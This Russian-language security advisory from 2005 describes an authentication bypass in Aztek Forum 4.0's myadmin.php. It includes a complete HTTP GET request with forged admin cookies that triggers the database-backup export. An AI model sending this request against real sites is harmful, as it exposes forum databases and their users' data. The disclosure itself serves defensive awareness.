Раскрытие информации в Aztek Forum

Дата публикации:
11.03.2005
Всего просмотров:
807
Опасность:
Низкая
Наличие исправления:
Количество уязвимостей:
1
CVSSv2 рейтинг:
CVE ID:
Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID:
Нет данных
Наличие эксплоита:
Нет данных
Уязвимые продукты:
Уязвимые версии: Aztek Forum 4.0

Описание:
Уязвимость позволяет удаленному пользователю получить доступ к резервной копии базы данных.

Уязвимость существует в сценарии 'myadmin.php' из-за некорректного процесса авторизации пользователей. Удаленный пользователь может с помощью специально сформированного HTTP GET запроса вызвать функцию export_index() и получить доступ к резервной копии базы данных. Пример:

GET /[forum_directory]/myadmin.php?action=export_index&login=[admin_username] HTTP/1.1
Host: [target]
Cookie: ATK_ADMIN=blah; ATK_LOGIN=[admin_username]
Connection: close

Примечание: Пример имени файла резервной копии базы данных - backup-admin-2005-5-03-23-18-13.sql

URL производителя: http://www.forum-aztek.com

Решение: Способов устранения уязвимости не существует в настоящее время.

Ссылки: Aztek Forum Authentication Flaw Exploit

или введите имя

CAPTCHA